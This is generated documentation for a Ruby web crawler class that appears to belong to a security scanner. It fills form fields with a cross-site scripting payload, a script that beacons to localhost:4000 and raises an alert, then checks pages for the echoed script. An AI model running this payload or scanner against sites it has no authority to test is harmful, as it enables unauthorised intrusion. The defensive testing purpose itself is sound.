class Sekureco::WebCrawler

Constants

MAX_DIST_FROM_SOURCE_PAGE

Public Class Methods

new(url, username = nil, password = nil, app_token = 'foo') click to toggle source
# File lib/sekureco/web_crawler.rb, line 21
def initialize url, username = nil, password = nil, app_token = 'foo'
  @uri = URI url
  @http_client = HttpClient.new
  @source_page = HtmlPage.new @http_client.get(@uri).body
  @visited = {}
  @default_username = username
  @default_password = password
  @black_list = []
  @app_token  = app_token
end

Public Instance Methods

crawl() click to toggle source
# File lib/sekureco/web_crawler.rb, line 32
def crawl
  @queue = [@source_page]
  mark_as_visited @source_page
  @distance = { @source_page => 0 }
  until @queue.empty?
    @current_page = @queue.shift
    @current_page.log
    unless too_deep? @current_page
      test_forms_of @current_page if @current_page.has_forms?
      @current_page.links.each do |current_link|
        begin
          next_link = URI.join(@uri.to_s, URI::encode(parse(current_link)))
          next if next_link.path.include? 'logout'
          response = if current_link["data-method"]
                       @http_client.post(next_link, { '_method'            => current_link['data-method'],
                                                      'authenticity_token' => @current_page.csrf_token })
                     else
                       @http_client.get(next_link)
                     end
          next_page = HtmlPage.new(response.body)
          unless already_visited?(next_page)
            next_page.log
            mark_as_visited next_page
            update_distance next_page
            @queue << next_page
          end
        rescue
          Sekureco.logger.warn "Invalid URI: #{current_link}"
        end
      end
    end
    if detect_embedded_scripts_in(@current_page)
      Sekureco.logger.info "Successfully applied XSS attack"
      @vulnerabilities_found = true
      confirm_attack
    end
  end
  clear_visited_pages
end
test_application() click to toggle source
# File lib/sekureco/web_crawler.rb, line 97
def test_application
  2.times { self.crawl }
  clear_temporary_files
  @vulnerabilities_found
end
test_forms_of(html_page) click to toggle source
# File lib/sekureco/web_crawler.rb, line 72
def test_forms_of html_page
  html_page.forms.each do |form|
    params = {}
    form.css("input, textarea").each do |input|
      field_name = input['name']
      next if field_name.nil?
      if possible_login_fields.any? { |s| field_name.include? s }
        params[field_name] = @default_username || random_string
      elsif possible_password_fields.any? { |s| field_name.include? s }
        params[field_name] = @default_password || random_string
      else
        params[field_name] = input['value'] || input['content'] || xss_attack
      end
    end
    response  = @http_client.post(URI.join(@uri.to_s, form['action']), params)
    next_page = HtmlPage.new(response.body)
    unless already_visited?(next_page)
      next_page.log
      mark_as_visited next_page
      update_distance next_page
      @queue << next_page
    end
  end
end

Private Instance Methods

already_visited?(page) click to toggle source
# File lib/sekureco/web_crawler.rb, line 113
def already_visited? page
  @visited[page.parsed_body]
end
clear_temporary_files() click to toggle source
# File lib/sekureco/web_crawler.rb, line 167
def clear_temporary_files
  system "wmctrl -c Firefox"
end
clear_visited_pages() click to toggle source
# File lib/sekureco/web_crawler.rb, line 109
def clear_visited_pages
  @visited = {}
end
confirm_attack() click to toggle source
# File lib/sekureco/web_crawler.rb, line 145
def confirm_attack
  File.open(current_page_file_path, "w+") { |f| f.write(@current_page) }
  system "xdg-open #{current_page_file_path}"
end
current_page_file_path() click to toggle source
# File lib/sekureco/web_crawler.rb, line 163
def current_page_file_path
  "#{Dir.pwd}/log/current_page_#{@app_token}.html"
end
detect_embedded_scripts_in(html_page) click to toggle source
# File lib/sekureco/web_crawler.rb, line 150
def detect_embedded_scripts_in html_page
  html_page.scripts_with(@app_token).any?
end
mark_as_visited(page) click to toggle source
# File lib/sekureco/web_crawler.rb, line 105
def mark_as_visited page
  @visited[page.parsed_body] = true
end
parse(link) click to toggle source
# File lib/sekureco/web_crawler.rb, line 154
def parse link
  uri = URI::parse(link["href"])
  if uri.query
    uri.path + "?" + uri.query
  else
    uri.path
  end
end
possible_login_fields() click to toggle source
# File lib/sekureco/web_crawler.rb, line 125
def possible_login_fields
  %w(username user name email login uid)
end
possible_password_fields() click to toggle source
# File lib/sekureco/web_crawler.rb, line 129
def possible_password_fields
  %w(password passwd pw)
end
random_string() click to toggle source
# File lib/sekureco/web_crawler.rb, line 133
def random_string
  @random_string ||= (0..(1 + rand(16))).map { ('a'..'z').to_a[rand(26)] }.join
end
too_deep?(page) click to toggle source
# File lib/sekureco/web_crawler.rb, line 121
def too_deep? page
  @distance[page] >= MAX_DIST_FROM_SOURCE_PAGE
end
update_distance(page) click to toggle source
# File lib/sekureco/web_crawler.rb, line 117
def update_distance page
  @distance[page] = @distance[@current_page] + 1
end
xss_attack() click to toggle source
# File lib/sekureco/web_crawler.rb, line 137
def xss_attack
  "<script class='#{@app_token}'>
     let image = new Image();
     image.src = 'http://localhost:4000/confirm/#{@app_token}';
     alert('Successfully applied XSS attack!');
   </script>"
end